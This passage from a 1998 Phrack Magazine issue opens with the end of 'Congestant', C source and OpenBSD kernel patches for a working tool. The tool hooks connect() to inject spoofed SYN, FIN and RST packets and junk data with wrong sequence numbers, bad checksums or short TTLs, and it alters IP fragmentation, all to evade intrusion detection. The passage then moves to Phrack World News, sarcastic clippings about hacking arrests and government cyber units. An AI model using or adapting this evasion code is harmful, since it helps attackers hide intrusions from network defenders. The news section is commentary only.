if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) {

perror("sendto");

}

free(phtcp);

free(pkt);

close(sock);

}

/* Utility routine for data insertion attacks */

void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl)

{

char data[1024];

int i,j;

for (i=0;i<8;i++)

{

for (j=0;j<1024;data[j++]=random());

cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl);

}

}

/* Utility routine for the ttl attack ‑ potentially unreliable */

/* This could be rewritten to look for the icmp ttl exceeded and count

* the number of packets it receives, thus going much quicker. */

int cong_find_ttl(long source, long dest)

{

int sock;

long timestamp;

struct timeval tv,tvwait;

int ttl=0,result=255;

char buffer[8192];

int bread;

fd_set fds;

struct cong_ip_header *ip;

struct cong_icmp_header *icmp;

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)

{

perror("socket");

exit(1);

}

tvwait.tv_sec=0;

tvwait.tv_usec=500;

gettimeofday(&tv,NULL);

timestamp=tv.tv_sec+3; // 3 second timeout

DEBUG("Determining ttl...");

while(tv.tv_sec<=timestamp)

{

gettimeofday(&tv,NULL);

if (ttl<50)

{

cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++);

}

FD_ZERO(&fds);

FD_SET(sock,&fds);

select(sock+1,&fds,NULL,NULL,&tvwait);

if (FD_ISSET(sock,&fds))

{

if (bread=read(sock,buffer,sizeof(buffer)))

{

/* should we practice what we preach?

nah... too much effort :p */

ip=(struct cong_ip_header *)buffer;

if (ip‑>ip_src!=dest)

continue;

icmp=(struct cong_icmp_header *)(buffer + ((ip‑>ip_hl)<<2));

if (icmp‑>icmp_type!=0)

continue;

if (ntohs(icmp‑>icmp_seq)<result) result=ntohs(icmp‑>icmp_seq);

}

}

}

if (cong_debug)

fprintf(stderr,"%d\n",result);

close(sock);

return result;

}

/* This is our init routine ‑ reads conf env var*/

/* On the glibc box I tested, you cant dlopen from within

* _init, so there is a little hack here */

#if __GLIBC__ == 2

int cong_start(void)

#else

int _init(void)

#endif

{

void *handle;

char *conf;

#ifndef __OpenBSD__

handle=dlopen(LIB_PATH,1);

if (!handle)

{

fprintf(stderr,"Congestant Error: Can't load libc.\n");

return 0;

}

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect");

#else

cong_connect = dlsym(handle, "_connect");

#endif

if (!cong_connect)

{

fprintf(stderr,"Congestant Error: Can't find connect().\n"); return ‑1;

}

#endif/* not openbsd */

memset(&cong_config,0,sizeof(struct cong_config));

if (conf=getenv("CONGCONF"))

{

char *token;

token=strtok(conf,",");

while (token)

{

if (!strcmp(token,"OH"))

cong_config.one_host_attack=1;

else if (!strcmp(token,"FS"))

cong_config.fin_seq=1;

else if (!strcmp(token,"RS"))

cong_config.rst_seq=1;

else if (!strcmp(token,"SS"))

cong_config.syn_seq=1;

else if (!strcmp(token,"DS"))

cong_config.data_seq=1;

else if (!strcmp(token,"FC"))

cong_config.fin_chk=1;

else if (!strcmp(token,"RC"))

cong_config.rst_chk=1;

else if (!strcmp(token,"SC"))

cong_config.syn_chk=1;

else if (!strcmp(token,"DC"))

cong_config.data_chk=1;

else if (!strcmp(token,"FT"))

{

cong_config.fin_ttl=1;

cong_config.ttl=1;

}

else if (!strcmp(token,"RT"))

{

cong_config.rst_ttl=1;

cong_config.ttl=1;

}

else if (!strcmp(token,"DT"))

{

cong_config.data_ttl=1;

cong_config.ttl=1;

}

else if (!strcmp(token,"DEBUG"))

cong_debug=1;

token=strtok(NULL,",");

}

}

else/* default to full sneakiness */

{

cong_config.one_host_attack=1;

cong_config.fin_seq=1;

cong_config.rst_seq=1;

cong_config.syn_seq=1;

cong_config.data_seq=1;

cong_config.syn_chk=1;

cong_debug=1;

/* assume they have kernel support */

/* attacks are only compiled in under obsd*/

cong_config.data_chk=1;

cong_config.fin_chk=1;

cong_config.rst_chk=1;

cong_config.data_ttl=1;

cong_config.fin_ttl=1;

cong_config.rst_ttl=1;

cong_config.ttl=1;

}

cong_init=1;

}

/* This is our definition of connect */

#if (__svr4__ && __sun__)

int connect (int __fd, struct sockaddr * __addr, int __len)

#else

#if __GLIBC__ == 2

int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else

int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif

#endif

{

int result,nl;

struct sockaddr_in sa;

long from,to;

short src,dest;

unsigned long fakeseq=424242;

int type=SOCK_STREAM;

unsigned long realseq=0;

unsigned long recvseq=0;

int ttl=255,ttlseq;

#if __GLIBC__ == 2

if (cong_init==0)

cong_start();

#endif

if (cong_init++==1)

fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT

#ifdef __OpenBSD__

syscall(242,__fd,&type,&realseq,&recvseq);

#endif /* openbsd */

if (type!=SOCK_STREAM)

{

result=syscall(SYS_connect,__fd,__addr,__len);

return result;

}

#endif /* kernel support */

nl=sizeof(sa);

getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr;

src=sa.sin_port;

#if __GLIBC__ == 2

to=__addr.__sockaddr_in__‑>sin_addr.s_addr; dest=__addr.__sockaddr_in__‑>sin_port;

#else

to=((struct sockaddr_in *)__addr)‑>sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)‑>sin_port;

#endif

if (cong_config.one_host_attack)

{

cong_send_tcp(inet_addr(FAKEHOST),

to, 4242, dest, 0, 0,

TH_SYN, NULL, 0, 0, 254);

DEBUG("Spoofed Fake SYN Packet\n");

}

if (cong_config.syn_chk)

{

/* This is a potential problem that could mess up

* client programs. If necessary, we bind the socket

* so that we can know what the source port will be

* prior to the connection.

*/

if (src==0)

{

bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr;

src=sa.sin_port;

}

cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,

TH_SYN, NULL, 0,100, 254);

DEBUG("Sent Pre‑Connect Desynchronizing SYN.\n");

fakeseq++;

}

DEBUG("Connection commencing...\n");

#ifndef __OpenBSD__

result=cong_connect(__fd,__addr,__len);

#else /* not openbsd */

result=syscall(SYS_connect,__fd,__addr,__len);

#endif

if (result==‑1)

{

if (errno!=EINPROGRESS)

return ‑1;

/* Let's only print the warning once */

if (cong_init++==2)

fprintf(stderr,"Warning: Non‑blocking connects might not work right.\n"); }

/* In case an ephemeral port was assigned by connect */

nl=sizeof(sa);

getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr;

src=sa.sin_port;

if (cong_config.syn_seq)

{

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254);

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254);

DEBUG("Sent Desynchronizing SYNs.\n");

}

if (cong_config.data_seq)

{

cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024;

}

if (cong_config.fin_seq)

{

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254);

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254);

DEBUG("Spoofed FINs with incorrect sequence numbers.\n");

}

if (cong_config.rst_seq)

{

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254);

cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254);

DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");

}

#ifdef KERNELSUPPORT

#ifdef __OpenBSD__

if (cong_config.ttl==1)

if (cong_ttl_cache!=to)

{

ttl=cong_find_ttl(from,to)‑1;

cong_ttl_cache=to;

cong_ttl=ttl;

}

else

ttl=cong_ttl;

if (ttl<0)

{

fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0;

cong_config.fin_ttl=0;

cong_config.rst_ttl=0;

ttl=0;

}

syscall(242,__fd,&type,&realseq,&recvseq);

ttlseq=realseq;

#endif /*openbsd */

if (cong_config.data_ttl)

{

cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8;

}

if (cong_config.fin_ttl)

{

cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);

cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);

DEBUG("Spoofed FINs with short ttl.\n");

}

if (cong_config.rst_ttl)

{

cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl);

cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl);

DEBUG("Spoofed RSTs with short ttl.\n");

}

if (cong_config.data_chk)

{

cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8;

}

if (cong_config.fin_chk)

{

cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254);

DEBUG("Spoofed FINs with incorrect TCP checksums.\n");

}

if (cong_config.rst_chk)

{

cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254);

DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");

}

#endif /* kernel support */

return result;

}

<‑‑>

<++> congestant/netinet.patch

Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff ‑u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h

‑‑‑ /usr/src/sys.2.4.orig/netinet/in.hTue Dec 8 10:32:38 1998 +++ netinet/in.hTue Dec 8 10:48:33 1998

@@ ‑325,7 +325,10 @@

#define IPCTL_IPPORT_LASTAUTO8

#define IPCTL_IPPORT_HIFIRSTAUTO 9

#define IPCTL_IPPORT_HILASTAUTO10

‑#defineIPCTL_MAXID11

+#define IPCTL_FRAG_HACK_HEAD11

+#define IPCTL_FRAG_HACK_BODY12

+#define IPCTL_OPTIONS_HACK13

+#defineIPCTL_MAXID14

#defineIPCTL_NAMES { \

{ 0, 0 }, \

@@ ‑339,6 +342,9 @@

{ "portlast", CTLTYPE_INT }, \

{ "porthifirst", CTLTYPE_INT }, \

{ "porthilast", CTLTYPE_INT }, \

+{ "fraghackhead", CTLTYPE_INT }, \

+{ "fraghackbody", CTLTYPE_INT }, \

+{ "optionshack", CTLTYPE_INT }, \

}

#ifndef _KERNEL

diff ‑u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c ‑‑‑ /usr/src/sys.2.4.orig/netinet/ip_input.cTue Dec 8 10:32:41 1998 +++ netinet/ip_input.cTue Dec 8 10:48:33 1998

@@ ‑106,6 +106,10 @@

extern int ipport_hilastauto;

extern struct baddynamicports baddynamicports;

+extern int ip_fraghackhead;

+extern int ip_fraghackbody;

+extern int ip_optionshack;

+

externstruct domain inetdomain;

externstruct protosw inetsw[];

u_charip_protox[IPPROTO_MAX];

@@ ‑1314,6 +1318,15 @@

case IPCTL_IPPORT_HILASTAUTO:

return (sysctl_int(oldp, oldlenp, newp, newlen,

&ipport_hilastauto));

+case IPCTL_FRAG_HACK_HEAD:

+return (sysctl_int(oldp, oldlenp, newp, newlen,

+ &ip_fraghackhead));

+case IPCTL_FRAG_HACK_BODY:

+return (sysctl_int(oldp, oldlenp, newp, newlen,

+ &ip_fraghackbody));

+case IPCTL_OPTIONS_HACK:

+return (sysctl_int(oldp, oldlenp, newp, newlen,

+ &ip_optionshack));

default:

return (EOPNOTSUPP);

}

diff ‑u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c ‑‑‑ /usr/src/sys.2.4.orig/netinet/ip_output.cTue Dec 8 10:32:43 1998 +++ netinet/ip_output.cTue Dec 8 11:00:14 1998

@@ ‑88,6 +88,10 @@

extern int ipsec_esp_network_default_level;

#endif

+int ip_fraghackhead=0;

+int ip_fraghackbody=0;

+int ip_optionshack=0;

+

/*

* IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst).

@@ ‑124,6 +128,9 @@

struct inpcb *inp;

#endif

+/* HACK */

+int fakeheadmtu;

+

va_start(ap, m0);

opt = va_arg(ap, struct mbuf *);

ro = va_arg(ap, struct route *);

@@ ‑144,7 +151,50 @@

m = ip_insertoptions(m, opt, &len);

hlen = len;

}

+/* HACK */

+else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) +{

+struct mbuf *n=NULL;

+register struct ip* ip= mtod(m, struct ip*);

+

+if (m‑>m_flags & M_EXT || m‑>m_data ‑ 40 < m‑>m_pktdat)

+{

+MGETHDR(n, M_DONTWAIT, MT_HEADER);

+if (n)

+{

+n‑>m_pkthdr.len = m‑>m_pkthdr.len + 40;

+m‑>m_len ‑= sizeof(struct ip);

+m‑>m_data += sizeof(struct ip);

+n‑>m_next = m;

+m = n;

+m‑>m_len = 40 + sizeof(struct ip);

+m‑>m_data += max_linkhdr;

+bcopy((caddr_t)ip, mtod(m, caddr_t),

+sizeof(struct ip));

+}

+}

+else

+{

+m‑>m_data ‑= 40;

+m‑>m_len += 40;

+m‑>m_pkthdr.len += 40;

+ovbcopy((caddr_t)ip, mtod(m, caddr_t),

+sizeof(struct ip));

+n++; /* make n!=0 */

+}

+if (n!=0)

+{

+ip = mtod(m, struct ip *);

+memset((caddr_t)(ip+1),0,40);

+ip‑>ip_len += 40;

+

+hlen=60;

+len=60;

+}

+}

+

ip = mtod(m, struct ip *);

+

/*

* Fill in IP header.

*/

@@ ‑721,7 +771,15 @@

/*

* If small enough for interface, can just send directly.

*/

‑if ((u_int16_t)ip‑>ip_len <= ifp‑>if_mtu) {

+

+/* HACK */

+

+fakeheadmtu=ifp‑>if_mtu;

+

+if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) +fakeheadmtu=ip_fraghackhead;

+

+if ((u_int16_t)ip‑>ip_len <= fakeheadmtu/*ifp‑>if_mtu*/) {

ip‑>ip_len = htons((u_int16_t)ip‑>ip_len);

ip‑>ip_off = htons((u_int16_t)ip‑>ip_off);

ip‑>ip_sum = 0;

@@ ‑738,7 +796,10 @@

ipstat.ips_cantfrag++;

goto bad;

}

‑len = (ifp‑>if_mtu ‑ hlen) &~ 7;

+

+/* HACK */

+

+len = (/*ifp‑>if_mtu*/fakeheadmtu ‑ hlen) &~ 7;

if (len < 8) {

error = EMSGSIZE;

goto bad;

@@ ‑748,6 +809,9 @@

int mhlen, firstlen = len;

struct mbuf **mnext = &m‑>m_nextpkt;

+/*HACK*/

+int first=0;

+

/*

* Loop through length of segment after first fragment,

* make new header and copy data of each part and link onto chain. @@ ‑755,7 +819,9 @@

m0 = m;

mhlen = sizeof (struct ip);

for (off = hlen + len; off < (u_int16_t)ip‑>ip_len; off += len) { ‑MGETHDR(m, M_DONTWAIT, MT_HEADER);

+if (first && ip_fraghackbody)

+len=(ip_fraghackbody‑hlen) &~7;

+MGETHDR(m, M_DONTWAIT, MT_HEADER);

if (m == 0) {

error = ENOBUFS;

ipstat.ips_odropped++;

@@ ‑791,6 +857,7 @@

mhip‑>ip_sum = 0;

mhip‑>ip_sum = in_cksum(m, mhlen);

ipstat.ips_ofragments++;

+first=1;

}

/*

* Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff ‑u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c ‑‑‑ /usr/src/sys.2.4.orig/netinet/tcp_subr.cTue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.cTue Dec 8 10:48:33 1998

@@ ‑465,3 +465,18 @@

if (tp)

tp‑>snd_cwnd = tp‑>t_maxseg;

}

+

+/* HACK ‑ This is a tcp subroutine added to grab the sequence numbers */

+

+void tcp_getseq(struct socket *so, struct mbuf *m)

+{

+struct inpcb *inp;

+struct tcpcb *tp;

+

+if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))

+{

+m‑>m_len=sizeof(unsigned long)*2;

+*(mtod(m,unsigned long *))=tp‑>snd_nxt;

+*((mtod(m,unsigned long *))+1)=tp‑>rcv_nxt;

+}

+}

diff ‑u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c ‑‑‑ /usr/src/sys.2.4.orig/netinet/tcp_usrreq.cTue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.cTue Dec 8 10:48:33 1998

@@ ‑363,6 +363,10 @@

in_setsockaddr(inp, nam);

break;

+case PRU_SOCKINFO:

+tcp_getseq(so,m);

+break;

+

case PRU_PEERADDR:

in_setpeeraddr(inp, nam);

break;

diff ‑u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h ‑‑‑ /usr/src/sys.2.4.orig/netinet/tcp_var.hTue Dec 8 10:32:45 1998 +++ netinet/tcp_var.hTue Dec 8 10:48:34 1998

@@ ‑291,6 +291,8 @@

void tcp_pulloutofband __P((struct socket *,

struct tcpiphdr *, struct mbuf *));

void tcp_quench __P((struct inpcb *, int));

+/*HACK*/

+void tcp_getseq __P((struct socket *, struct mbuf *));

int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *,

struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <‑‑>

<++> congestant/kern.patch

‑‑‑ /usr/src/sys.2.4.orig/kern/uipc_syscalls.cThu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.cThu Dec 3 11:13:44 1998

@@ ‑924,6 +924,53 @@

}

/*

+ * Get socket information. HACK

+ */

+

+/* ARGSUSED */

+int

+sys_getsockinfo(p, v, retval)

+struct proc *p;

+void *v;

+register_t *retval;

+{

+register struct sys_getsockinfo_args /* {

+syscallarg(int) fdes;

+syscallarg(int *) type;

+syscallarg(int *) seq;

+syscallarg(int *) ack;

+} */ *uap = v;

+struct file *fp;

+register struct socket *so;

+struct mbuf *m;

+int error;

+

+if ((error = getsock(p‑>p_fd, SCARG(uap, fdes), &fp)) != 0)

+return (error);

+

+so = (struct socket *)fp‑>f_data;

+

+error = copyout((caddr_t)&(so‑>so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); +

+if (!error && (so‑>so_type==SOCK_STREAM))

+{

+m = m_getclr(M_WAIT, MT_DATA);

+if (m == NULL)

+return (ENOBUFS);

+

+error = (*so‑>so_proto‑>pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); +

+if (!error)

+error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); +if (!error)

+error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); +m_freem(m);

+}

+

+return error;

+}

+

+/*

* Get name of peer for connected socket.

*/

/* ARGSUSED */

‑‑‑ /usr/src/sys.2.4.orig/kern/syscalls.masterThu Dec 3 11:00:00 1998 +++ kern/syscalls.masterThu Dec 3 11:14:44 1998

@@ ‑476,7 +476,8 @@

240STD{ int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); }

241UNIMPL

‑242UNIMPL

+242STD{ int sys_getsockinfo(int fdes, int *type, \

+ int *seq, int *ack); }

243UNIMPL

244UNIMPL

245UNIMPL

<‑‑>

<++> congestant/sys.patch

‑‑‑ /usr/src/sys.2.4.orig/sys/protosw.hThu Dec 3 11:00:39 1998 +++ sys/protosw.hThu Dec 3 11:16:41 1998

@@ ‑148,8 +148,8 @@

#definePRU_SLOWTIMO19/* 500ms timeout */

#definePRU_PROTORCV20/* receive from below */

#definePRU_PROTOSEND21/* send to below */

‑

‑#definePRU_NREQ21

+#define PRU_SOCKINFO22

+#definePRU_NREQ22

#ifdef PRUREQUESTS

char *prurequests[] = {

@@ ‑158,7 +158,7 @@

"RCVD","SEND","ABORT","CONTROL",

"SENSE","RCVOOB","SENDOOB","SOCKADDR",

"PEERADDR","CONNECT2","FASTTIMO","SLOWTIMO",

‑"PROTORCV","PROTOSEND",

+"PROTORCV","PROTOSEND", "SOCKINFO",

};

#endif

<‑‑>

Phrack World News

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 11 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K W O R L D N E W S

‑‑‑‑‑‑‑‑[ Issue 54

Hi. A few changes have been made to Phrack World News (PWN) and will probably change again in the future. Because of the increase of news on the net, security, hackers and other PWN topics, it is getting more difficult to keep Phrack readers informed of everything. To combat this problem, PWN will include more articles, but only relevant portions (or the parts I want to make smart ass remarks about). If you would like to read the full article, look through the ISN (InfoSec News) archives located at:

ftp.repsec.com /pub/text/digests/isn

If you would like timely news delivered with less smart ass remarks, you can always subscribe to ISN by mailing majordomo@repsec.com with 'subscribe isn' in the body of your mail.

The following articles have been accumulated from a wide variety of places. When known, original source/author/date has been included. If the information is absent, then it wasn't sent to us.

As usual, I am putting some of my own comments in brackets to help readers realize a few things left out of the articles. Comments are my own, and do not necessarily represent the views of Phrack, journalists, government spooks, my cat, or anyone else. If you want to see more serious comments about the piss poor journalism plagueing us today, visit the Security Scene Errata web page: http://www.attrition.org/errata/

If you feel the need to send me love letters, please cc: route@infonexus.com so he can see I really do have fans. If you would like to mail my cat, don't, he hates you because you are a plebian in his eyes. Meow.

This installment of PWN is dedicated to Feds, Hackers, and blatant stupidity. It was brought to you by the letters that collectively spell 'dumb shit'.

‑ disorder

‑‑‑‑‑‑‑‑[ Issue 54

0x1: Teen Crackers Admit Guilt

0x2: FBI grads get gun, badge, and now, a laptop

0x3: Meet the Hacker Trackers

0x4: Justice Department to Hire Computer Hackers

0x5: A Cracker‑Proofing Guarantee

0x6: First‑Ever Insurance Against Hackers

0x7: New Unit to Combat High‑Tech Crime (National Police Agency) 0x8: First 'Cyber Warrior' Unit is Poised for Operational Status (DOD) 0x9: Tracking Global Cybercrime (Chamber of Commerce)

0xa: FBI Opens High‑Tech Crisis Center

0xb: Navy fights new hack method

0xc: Pentagon Blocks DoS Attack

0xd: Hackers Elude Accelerator Center Staff

0xe: Cyberattacks leave feds chasing 'vapor'

0xf: Congress Attacks Cyber Defense Funds

0x10: Mudge on Security Vendors

0x11: More delays for Mitnick trial

0x12: 'Back door' doesn't get very far

0x13: ICSA Goon Pretends to be a Hacker

0x14: Is Your kid a Hacker

0x15: Paging Network Hijacked

0x16: FBI busts hacker who sold clandestine accounts on PageNet system 0x17: EFF DES Cracker Machine Brings Honesty to Crypto Debate 0x18: Hacking site gets hacked

0x19: From Criminals to Web Crawlers

0x1a: Running a Microsoft OS on a Network? Our Condolences 0x1b: Security expert explains New York Times site break in 0x1c: Merriam‑Webster Taken Offline Old Fashioned Way

0x1d: Long Haired Hacker Works Magic

0x1e: Body of Evidence

0x1f: The Golden Age of Hacktivism

0x20: Phrack straddles the world of hackers

0x21: Cops see little hope in controlling computer crime

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Teen Crackers Admit Guilt

Source: Wired

Date: 1:10pm 11.Jun.98.PDT

Two California teenagers have pleaded guilty to federal charges of cracking Pentagon computers, the San Francisco Chronicle reports.

Terms of the plea are still being negotiated after a meeting last week between attorneys for the youths and federal officials, the newspaper said. Neither youth is expected to serve time in custody, sources close to the case said.

In February, the FBI raided the Cloverdale homes of the two suspected crackers ‑‑ nicknamed Makaveli, 16, and TooShort, 15 ‑‑ and seized computers believed to have been used to break into unclassified computer systems in government agencies, military bases, and universities.

[Sucks to be busted. Sucks worse to plead guilty to being a script kiddie.]

The youths were never formally arrested in the FBI probe. US Deputy Defense Secretary John Hamre called the breach "the most organized and systematic attack" to date on Pentagon systems.

[Feds only enjoy sticking guns in the faces of these kids. Not actually arresting them.]

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: FBI grads get gun, badge, and now, a laptop

Source: TechWeb

Date: 7.22.98

When FBI special‑agent trainees graduate from the bureau academy at Quantico, Va., they are each issued a gun, a badge ‑‑ and now, a laptop computer.

[Unfortunately, they don't always get a clue.]

Crime today often involves the use of sophisticated technology, and new agents have to be able to shoot straight, learn the law, and be able to use technology.

Part of the FBI's duty is to investigate computer‑related crimes and issues of national security. Because it needs these specialized skills, the bureau is in competition with other agencies such as the Secret Service and the Central Intelligence Agency (CIA) ‑‑ as well as the private sector ‑‑ for recruits.

[Great low pay! Lots of travel! No respect! Come join the FBI!]

Attorney General Janet Reno, addressing a conference on children's safety on the Internet in December, called on the technology community to help law enforcement.

But Reno's call does not mean making a computer geek into a G‑man. The FBI recruits in the high‑tech industry and in colleges and universities for special agents with other attributes besides computer‑science degrees.

"There is not a specific category [in the FBI] for someone with more computer skills," said Special Agent Ron Van Vraken, an FBI spokesman. "But someone with skills and experience is highly marketable. We've recognized we need to attract those people into the FBI."

The FBI is not alone.

The CIA has a long listing of Web postings for technology‑related jobs. There are ongoing requirements for knowledge‑based systems engineers, software developers, and electronics engineers listed alongside jobs such as theatrical‑effects specialists and clandestine service trainees.

[Yet the CIA is scrambling to find jobs for all the cold‑war spook rejects...]

Although the CIA is not a law‑enforcement agency like the FBI and the Secret Service, it, too, chases "bad guys" and needs people trained in technology, said Anya Guilsher, an agency spokeswoman. "We have a great interest in people with advanced technology skills," she said.

The Secret Service, which investigates financially related crimes as well as protects the president, is also looking. Its jobs listings include openings for computer specialists and telecommunications specialists.

The ideal candidate for these agencies is not necessarily a computer wiz, said Ron Williams, a former Secret Service agent and current CEO of high‑tech security company Talon Technology.

"The ideal candidate is well‑rounded," he said, adding they should also understand computers, have good communications skills, and know human behavior.

"To catch a criminal, you have to think like one," Williams said. "You can take agents, and if they have good street smarts and good computer skills, you can make them into hacker sleuths."

[Hypothetically.. since they haven't done it yet.]

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Meet the Hacker Trackers

A gang of convicts dressed in cartoon‑striped uniforms shuffle slowly along a sidewalk, searing in the noon‑day sun. This is downtown Phoenix, a low‑rise high‑tech city with a decidedly old‑ fashioned approach to crime. From her office on the sixth floor of the county attorney's office, the prosecutor remains unmoved by the sight of the prisoners. "People 'round here don't have much in the way of sympathy for criminals of any kind. And most of those guys are real criminals, not jumped up nobodies screaming for attention ‑ the kind of people I deal with!"

Meet Gail Thackeray, the world's foremost legal expert on computer crime. A former assistant attorney general of the state of Arizona, Thackeray has been fighting hackers and fraudsters for nearly 25 years. Now she works as a prosecutor for the Maricopa County attorney's office, a jurisdiction the size of New England that takes in all of Phoenix. It's most famous as the home of Sheriff Joe Arpaio, "the meanest sheriff in America". This is the man responsible for the convicts in stripes. He has made his reputation by toughening up prison conditions, to loud hollers of approval from freedom‑loving Arizonans.

Good citizens of Maricopa County can now walk the streets in safety, but for the big technology companies that have moved to the "valley of the sun", the unseen hand of hackers and computer phreaks is proving a major distraction. Whether it's a left‑over hippy feeling, the University campus or just a reaction to the extreme heat, Phoenix is a top spot for computer criminals. Thackeray is there to stop them.

Arizona has perhaps the United States' strongest legal code against the activities of hackers, but sometimes Gail aches to fight fire with fire. "We have to document every step of the way we investigate. They don't need to have our education. They just need one other crook showing them, like monkeys at a keyboard, how to imitate the crime. The bulletin boards were the precursors to this, but the Net has exploded it down to the individual level anywhere in the world. You don't need sophistication, you don't even need very good equipment ‑ one of the best hackers we've ever dealt with had a Compaq luggable 286 and he was wreaking havoc around the world. Just a list of his route on different systems attached to the Internet would keep me in the hacker business for the rest of my life ‑ it goes on for pages."

Getting away with it

We move from her office to the conference room next door. Thackeray proudly displays her new Compaq notebook. Her famous slide show is now held on the notebook's hard disk. For more years than she'd care to remember, Thackeray has been showing her slides to police forces and prosecutors across the United States, advising them how to build a case against hackers. She also trains police forces all over the country, including secret service agents at the Georgia Federal training centre. Even the bad guys have been known to call her to find out what the cops have been up to.

Although she has been a hacker tracker for 25 years, Thackeray is more depressed than ever by the escalating scale of computer crime. The Web, she says, has made it impossible to catch the crooks. "Even if it's the boy next door, we haven't a chance. He may be doing something rotten to your high‑tech consulting firm, he may be next door trying to steal your stuff ‑ but he's looping through a long‑distance carrier, a corporate phone system, three Internet providers and circling the world twice before he hits you. That's the problem from our standpoint. Even assuming all those parties can trace the links they're involved in, we have to go through a different process, and probably a different law enforcement agency, for every single one.

"In the old days out here, the Texas rangers were very famous for catching bank robbers. They didn't stop at the Texas border when chasing a killer. They'd jump on their horse and, even if they crossed the state line, they would follow wherever the chase lead them. In the computer age we can't do that at all. What we have now in the US is a mish‑mash of laws and agencies. Multiply that on the international level and it's completely out of hand."

High‑tech law enforcement

